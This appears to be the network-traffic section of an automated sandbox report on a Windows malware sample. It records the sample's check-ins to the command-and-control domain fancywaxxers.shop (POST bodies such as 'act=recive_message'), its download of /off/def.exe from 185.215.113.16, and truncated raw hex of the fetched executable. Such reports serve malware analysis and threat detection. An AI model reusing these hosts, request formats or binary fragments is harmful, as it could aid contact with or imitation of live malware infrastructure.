Dec 31, 2024 09:51:12.605042934 CET	192.168.2.7	1.1.1.1	c2e6	(Port unreachable)	Destination Unreachable
Dec 31, 2024 09:51:16.143968105 CET	192.168.2.7	1.1.1.1	c2e6	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 31, 2024 09:50:46.820404053 CET	192.168.2.7	1.1.1.1	0x5dd7	Standard query (0)	fancywaxxers.shop	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:15.201898098 CET	192.168.2.7	1.1.1.1	0xcfe0	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:15.202044964 CET	192.168.2.7	1.1.1.1	0x77f5	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 31, 2024 09:51:16.136456966 CET	192.168.2.7	1.1.1.1	0x7fa	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:16.138706923 CET	192.168.2.7	1.1.1.1	0x137b	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 31, 2024 09:51:16.272944927 CET	192.168.2.7	1.1.1.1	0xd687	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:16.273154020 CET	192.168.2.7	1.1.1.1	0xd8fa	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 31, 2024 09:51:19.893661976 CET	192.168.2.7	1.1.1.1	0x623f	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:19.893968105 CET	192.168.2.7	1.1.1.1	0x227c	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Dec 31, 2024 09:52:16.196841002 CET	192.168.2.7	1.1.1.1	0x3e63	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:52:16.197037935 CET	192.168.2.7	1.1.1.1	0xa46c	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 31, 2024 09:50:46.835768938 CET	1.1.1.1	192.168.2.7	0x5dd7	No error (0)	fancywaxxers.shop		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:50:46.835768938 CET	1.1.1.1	192.168.2.7	0x5dd7	No error (0)	fancywaxxers.shop		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:50:46.835768938 CET	1.1.1.1	192.168.2.7	0x5dd7	No error (0)	fancywaxxers.shop		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:50:46.835768938 CET	1.1.1.1	192.168.2.7	0x5dd7	No error (0)	fancywaxxers.shop		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:50:46.835768938 CET	1.1.1.1	192.168.2.7	0x5dd7	No error (0)	fancywaxxers.shop		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:50:46.835768938 CET	1.1.1.1	192.168.2.7	0x5dd7	No error (0)	fancywaxxers.shop		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:50:46.835768938 CET	1.1.1.1	192.168.2.7	0x5dd7	No error (0)	fancywaxxers.shop		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:15.208643913 CET	1.1.1.1	192.168.2.7	0x2110	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:15.208667040 CET	1.1.1.1	192.168.2.7	0xcfe0	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:15.208667040 CET	1.1.1.1	192.168.2.7	0xcfe0	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:15.208667040 CET	1.1.1.1	192.168.2.7	0xcfe0	No error (0)	shed.dual-low.s-part-0016.t-0009.t-msedge.net	s-part-0016.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:15.208667040 CET	1.1.1.1	192.168.2.7	0xcfe0	No error (0)	s-part-0016.t-0009.t-msedge.net		13.107.246.44	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:15.208749056 CET	1.1.1.1	192.168.2.7	0xed9d	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:15.208749056 CET	1.1.1.1	192.168.2.7	0xed9d	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:15.208749056 CET	1.1.1.1	192.168.2.7	0xed9d	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:15.209206104 CET	1.1.1.1	192.168.2.7	0x77f5	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:15.209206104 CET	1.1.1.1	192.168.2.7	0x77f5	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:16.108767033 CET	1.1.1.1	192.168.2.7	0x1c4e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:16.108767033 CET	1.1.1.1	192.168.2.7	0x1c4e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:16.108767033 CET	1.1.1.1	192.168.2.7	0x1c4e	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:16.109566927 CET	1.1.1.1	192.168.2.7	0x3758	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:16.143381119 CET	1.1.1.1	192.168.2.7	0x7fa	No error (0)	www.google.com		142.250.185.164	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:16.145560980 CET	1.1.1.1	192.168.2.7	0x137b	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 31, 2024 09:51:16.279622078 CET	1.1.1.1	192.168.2.7	0xd687	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:16.279622078 CET	1.1.1.1	192.168.2.7	0xd687	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:16.279622078 CET	1.1.1.1	192.168.2.7	0xd687	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:16.279622078 CET	1.1.1.1	192.168.2.7	0xd687	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:51:16.280092001 CET	1.1.1.1	192.168.2.7	0xd8fa	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:16.280092001 CET	1.1.1.1	192.168.2.7	0xd8fa	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:19.901441097 CET	1.1.1.1	192.168.2.7	0x227c	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:19.902179956 CET	1.1.1.1	192.168.2.7	0x623f	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:21.651837111 CET	1.1.1.1	192.168.2.7	0xf918	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:21.659744978 CET	1.1.1.1	192.168.2.7	0xac77	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:24.535506010 CET	1.1.1.1	192.168.2.7	0xc21a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:51:24.535897970 CET	1.1.1.1	192.168.2.7	0xeaf0	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:52:16.204947948 CET	1.1.1.1	192.168.2.7	0xa46c	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 31, 2024 09:52:16.205585957 CET	1.1.1.1	192.168.2.7	0x3e63	No error (0)	www.google.com		142.250.185.164	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fancywaxxers.shop

https:

js.monitor.azure.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49804	185.215.113.16	80	7292	C:\Users\user\Desktop\2RxMkSAgZ8.exe

Timestamp	Bytes transferred	Direction	Data
Dec 31, 2024 09:50:59.954580069 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 31, 2024 09:51:00.655157089 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 31 Dec 2024 08:50:59 GMT Content-Type: application/octet-stream Content-Length: 2880000 Last-Modified: Tue, 31 Dec 2024 08:35:23 GMT Connection: keep-alive ETag: "6773accb-2bf200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2c 00 00 04 00 00 9e 9c 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@, `@ ,,`Ui`D @ @ @.rsrcD``@.idata f@mgmbhmys+d+h@ctyuxutw ,+@.taggant@@,"+@
Dec 31, 2024 09:51:00.655175924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:51:00.655201912 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:51:00.655215025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:51:00.655226946 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:51:00.655239105 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:51:00.655255079 CET	776	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:51:00.655268908 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:51:00.655282021 CET	1236	IN	Data Raw: 4f 8c be 84 49 8e 01 1e 4d fe 03 f5 00 ff 73 f7 61 ef 73 87 4f 8c be 84 49 8e 01 52 4d fe 03 f5 00 ff 73 f7 61 ef 73 87 4f 8c 9e 83 49 8e 01 d6 4c fe 03 f5 00 ff 73 f7 61 ef 73 87 4f 8c 9e 83 49 8e 01 2c 4c fe 03 f5 80 fb 73 f7 61 ef 73 87 4f 8c Data Ascii: OIMsasOIRMsasOILsasOI,LsasOIfLsasOItLsasO pYIoIsIsIlrIlrIsIsHqhsc sIsIsIGy@zJIsIsIb{IIzIxI ;:sIgIuI&Ii
Dec 31, 2024 09:51:00.655297995 CET	1236	IN	Data Raw: 49 fe 73 87 49 7e 73 16 69 33 77 c9 48 f1 73 87 49 fe 73 07 49 6f 53 12 4d a8 72 94 49 fe 73 87 49 7e 73 16 69 db 7b e7 48 e9 73 ef 69 fe 73 87 49 6f 73 42 4c 8c 72 a4 49 76 53 87 49 fe 73 16 49 4e 77 f5 48 dd 73 67 69 fe 73 87 49 6f 73 63 41 8c Data Ascii: IsI~si3wHsIsIoSMrIsI~si{HsisIosBLrIvSIsINwHsgisIoscArIRIsIzHsGhsIosMrIQIsI/yHs#ksIos@rIWIsQYzIsisIsIvIsCsIvIsLsI{IsMsI{IsLsIvIsCsIzIsLsIyis
Dec 31, 2024 09:51:00.660118103 CET	1236	IN	Data Raw: 49 fe 73 87 49 fe 12 e3 3f 9f 03 ee 7a cc 73 ca 20 9d 01 e8 3a 91 15 f3 67 a9 1a e9 7a cc 73 bb 04 91 17 f2 25 9b 4d 87 06 8e 16 e9 1a 9b 01 f1 20 9d 16 c6 49 aa 3c cc 0c b0 2c d5 0c bf 37 87 1a aa 32 c9 0d bf 21 c3 16 ac 3a c0 01 aa 20 d8 1b bb Data Ascii: IsI?zs :gzs%M I<,72!: 2I6=7!6 6I'2!'6! 26!6!6,2,>'60I22!?2s22s 04I6

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49710	104.21.64.1	443	7292	C:\Users\user\Desktop\2RxMkSAgZ8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:50:47 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fancywaxxers.shop
2024-12-31 08:50:47 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-31 08:50:47 UTC	1125	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:50:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mi77s9sh4aikkbn2v26rjafre2; expires=Sat, 26 Apr 2025 02:37:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6o4rOIOr%2BMLJtJ1mWv8K1WpwdBbxtFl6SL9rSq811trmVFkWFroTkkLxwA8U8F6yWbplCQzKqXIcWXNakF6JB7nTHImLH71pORfdqUxd9semnt9JRsmr0NEJ9JaSXuvTBLZj0g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa90626b8fdc358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1635&min_rtt=1633&rtt_var=618&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2842&recv_bytes=908&delivery_rate=1763285&cwnd=155&unsent_bytes=0&cid=28ab03735f39039d&ts=500&x=0"
2024-12-31 08:50:47 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-31 08:50:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49721	104.21.64.1	443	7292	C:\Users\user\Desktop\2RxMkSAgZ8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:50:48 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: fancywaxxers.shop
2024-12-31 08:50:48 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-31 08:50:48 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:50:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3sk6uij71qokr370h85ngvolrq; expires=Sat, 26 Apr 2025 02:37:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=14eHbN3u3Qu0RBZa%2F20fBZ3141yjCRlIoKB0%2Bo4eRQmkiAP9JrM87HhgTkAGfaK%2FbBuGrvMkcrQS1OCKT3Ye2kWsngrLJzhZr5dna8TTxgf0Fz%2FS2l0exG0YgZ1w4MnMRPvxxg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa9062c8bd37c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1984&min_rtt=1977&rtt_var=746&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=954&delivery_rate=1476985&cwnd=218&unsent_bytes=0&cid=2946e331602793c3&ts=502&x=0"
2024-12-31 08:50:48 UTC	238	IN	Data Raw: 31 63 62 34 0d 0a 39 72 55 64 6e 64 35 38 61 31 59 65 78 4b 78 47 68 53 75 51 70 73 41 6b 35 73 42 52 36 42 42 73 53 53 32 39 6f 79 4b 55 66 73 2b 4e 6c 32 75 2f 35 45 68 48 64 47 32 68 6a 6e 7a 78 57 65 58 44 37 41 61 48 70 48 50 53 64 67 30 6c 58 74 69 50 41 4f 49 54 37 63 7a 54 66 50 47 74 47 55 64 30 65 37 79 4f 66 4e 35 51 73 73 4f 75 42 74 7a 69 4e 49 4a 79 44 53 56 50 33 4d 68 4e 35 42 4b 73 6e 74 6c 36 39 62 73 66 44 7a 64 79 71 63 6b 6a 34 45 72 36 79 4b 6c 4a 6a 71 31 7a 78 44 49 4a 4d 77 2b 48 67 57 2f 78 43 71 36 37 31 47 37 32 2f 41 46 48 4c 54 79 68 77 6d 53 2f 43 66 48 44 6f 6b 69 41 70 44 71 41 65 41 51 74 54 74 6e 4a 55 76 30 59 70 35 37 58 65 66 53 78 46 68 73 36 65 4b 37 43 4a 65 70 4b Data Ascii: 1cb49rUdnd58a1YexKxGhSuQpsAk5sBR6BBsSS29oyKUfs+Nl2u/5EhHdG2hjnzxWeXD7AaHpHPSdg0lXtiPAOIT7czTfPGtGUd0e7yOfN5QssOuBtziNIJyDSVP3MhN5BKsntl69bsfDzdyqckj4Er6yKlJjq1zxDIJMw+HgW/xCq671G72/AFHLTyhwmS/CfHDokiApDqAeAQtTtnJUv0Yp57XefSxFhs6eK7CJepK
2024-12-31 08:50:48 UTC	1369	IN	Data Raw: 73 6f 72 69 51 5a 7a 69 61 38 6f 68 50 43 68 65 7a 74 52 4e 35 68 72 74 69 35 6c 6d 76 37 73 53 53 57 77 38 72 73 49 71 34 6b 72 39 77 36 4e 47 6c 71 30 7a 69 58 6f 47 4c 30 58 51 7a 6b 2f 34 46 71 71 63 33 6e 6a 77 75 78 59 50 4f 33 2f 6d 67 47 54 67 55 62 4b 63 34 6d 61 55 6f 54 43 65 66 78 39 72 55 4a 48 59 41 50 45 51 37 63 79 58 65 66 47 39 45 77 6b 6d 64 4b 33 46 49 66 56 43 2b 38 6d 76 52 6f 6d 6f 50 49 6c 79 43 53 46 46 30 4d 74 45 2b 78 47 72 6c 4e 63 2f 73 66 77 5a 45 58 51 6b 35 75 30 68 39 30 37 2b 30 75 42 38 78 4c 31 39 6b 7a 49 4a 4a 77 2b 48 67 55 6a 7a 48 36 36 66 32 48 7a 33 74 77 77 4a 4a 6e 71 72 79 7a 62 68 54 50 7a 4f 6f 56 53 4f 72 44 57 4a 65 77 55 69 53 74 6a 46 41 4c 68 63 71 6f 79 58 4a 37 2b 64 45 77 49 34 64 72 48 4f 5a 50 67 Data Ascii: soriQZzia8ohPCheztRN5hrti5lmv7sSSWw8rsIq4kr9w6NGlq0ziXoGL0XQzk/4Fqqc3njwuxYPO3/mgGTgUbKc4maUoTCefx9rUJHYAPEQ7cyXefG9EwkmdK3FIfVC+8mvRomoPIlyCSFF0MtE+xGrlNc/sfwZEXQk5u0h907+0uB8xL19kzIJJw+HgUjzH66f2Hz3twwJJnqryzbhTPzOoVSOrDWJewUiStjFALhcqoyXJ7+dEwI4drHOZPg
2024-12-31 08:50:48 UTC	1369	IN	Data Raw: 6c 53 49 71 44 57 46 66 77 4a 72 41 5a 2f 47 57 4c 5a 45 37 62 37 55 61 2f 79 32 58 44 77 33 63 71 6a 4a 4d 71 64 57 76 4e 33 69 51 59 6a 69 61 38 70 2f 44 79 4e 4a 7a 63 35 4e 39 52 4b 6a 6d 39 4a 77 39 37 77 65 42 44 46 34 72 63 55 6e 36 6b 33 67 7a 71 4a 4f 67 61 4d 35 67 44 4a 41 61 30 6a 48 67 52 69 32 4c 62 71 66 6c 55 72 38 73 68 41 4f 49 6a 79 35 67 44 32 6e 54 76 36 45 2b 67 61 4a 71 6a 61 50 66 51 38 68 51 64 72 4c 54 50 34 53 72 6f 62 59 65 2f 2b 77 46 67 4d 35 63 71 4c 47 4c 65 78 43 39 4d 53 6a 54 4d 54 73 63 34 31 71 54 6e 4d 50 36 38 5a 4d 2b 78 50 76 6f 64 52 78 38 62 73 49 53 53 73 79 76 34 34 6a 36 77 6d 71 68 4b 35 50 68 4b 6b 35 6a 6e 49 4a 4a 6b 72 63 78 6b 50 37 47 36 65 61 30 48 76 7a 74 52 4d 50 4e 48 75 69 79 7a 62 69 51 50 37 49 Data Ascii: lSIqDWFfwJrAZ/GWLZE7b7Ua/y2XDw3cqjJMqdWvN3iQYjia8p/DyNJzc5N9RKjm9Jw97weBDF4rcUn6k3gzqJOgaM5gDJAa0jHgRi2LbqflUr8shAOIjy5gD2nTv6E+gaJqjaPfQ8hQdrLTP4SrobYe/+wFgM5cqLGLexC9MSjTMTsc41qTnMP68ZM+xPvodRx8bsISSsyv44j6wmqhK5PhKk5jnIJJkrcxkP7G6ea0HvztRMPNHuiyzbiQP7I
2024-12-31 08:50:48 UTC	1369	IN	Data Raw: 52 7a 6c 54 77 58 61 30 6a 54 67 52 69 32 46 61 53 47 32 58 48 32 73 52 67 42 4d 33 4b 72 78 53 4c 73 54 76 58 43 72 30 36 4a 70 7a 43 4c 64 67 51 35 54 4e 54 4c 54 66 78 63 34 39 54 51 5a 37 2f 6b 58 69 34 34 56 62 62 56 4e 76 45 4a 37 59 71 37 42 6f 4f 75 63 39 49 79 44 53 52 47 30 4d 6c 49 2b 52 4f 70 6d 74 46 35 38 72 6b 52 41 79 5a 30 71 4d 4d 76 36 45 4c 67 78 4b 39 43 69 4b 59 37 67 58 68 4f 5a 51 2f 59 32 51 43 75 58 4a 69 5a 32 48 2f 38 71 6c 34 57 65 6d 58 6d 79 53 69 6e 45 62 4c 49 72 45 61 4c 72 6a 2b 42 65 67 38 6e 51 64 6a 45 53 66 34 55 76 35 58 54 64 2f 36 79 45 51 67 77 65 61 50 4b 49 2b 4e 50 2f 59 54 73 42 6f 4f 36 63 39 49 79 49 51 78 36 6e 65 42 36 74 67 50 6a 6a 5a 64 34 38 2f 78 47 53 54 68 2f 71 73 59 72 34 55 44 2b 7a 71 74 4e 69 Data Ascii: RzlTwXa0jTgRi2FaSG2XH2sRgBM3KrxSLsTvXCr06JpzCLdgQ5TNTLTfxc49TQZ7/kXi44VbbVNvEJ7Yq7BoOuc9IyDSRG0MlI+ROpmtF58rkRAyZ0qMMv6ELgxK9CiKY7gXhOZQ/Y2QCuXJiZ2H/8ql4WemXmySinEbLIrEaLrj+Beg8nQdjESf4Uv5XTd/6yEQgweaPKI+NP/YTsBoO6c9IyIQx6neB6tgPjjZd48/xGSTh/qsYr4UD+zqtNi
2024-12-31 08:50:48 UTC	1369	IN	Data Raw: 78 43 69 35 41 33 73 42 47 35 42 75 6b 68 74 6c 79 38 4c 51 57 41 44 56 34 6f 38 4d 69 36 30 50 7a 77 36 78 49 6a 4f 4a 39 79 6e 55 57 61 78 65 66 34 46 44 74 44 72 75 5a 39 6e 4c 77 2f 41 46 48 4c 54 79 68 77 6d 53 2f 43 66 76 57 70 6b 75 57 71 7a 53 45 66 51 30 35 54 74 4c 4b 55 76 45 54 71 5a 50 62 65 66 43 36 48 77 77 2b 63 4b 48 4c 4c 2b 68 46 73 6f 72 69 51 5a 7a 69 61 38 70 63 42 54 68 59 33 4d 39 4c 34 41 66 74 69 35 6c 6d 76 37 73 53 53 57 77 38 70 63 55 76 34 30 6e 2b 78 4b 5a 4c 68 4c 41 38 6a 58 55 48 49 46 33 56 78 6b 66 39 46 4b 61 62 30 57 33 7a 73 67 77 4d 4a 6d 37 6d 67 47 54 67 55 62 4b 63 34 6e 43 44 73 69 4f 4a 4d 44 38 39 54 4d 6e 4b 54 66 70 63 73 74 72 4f 50 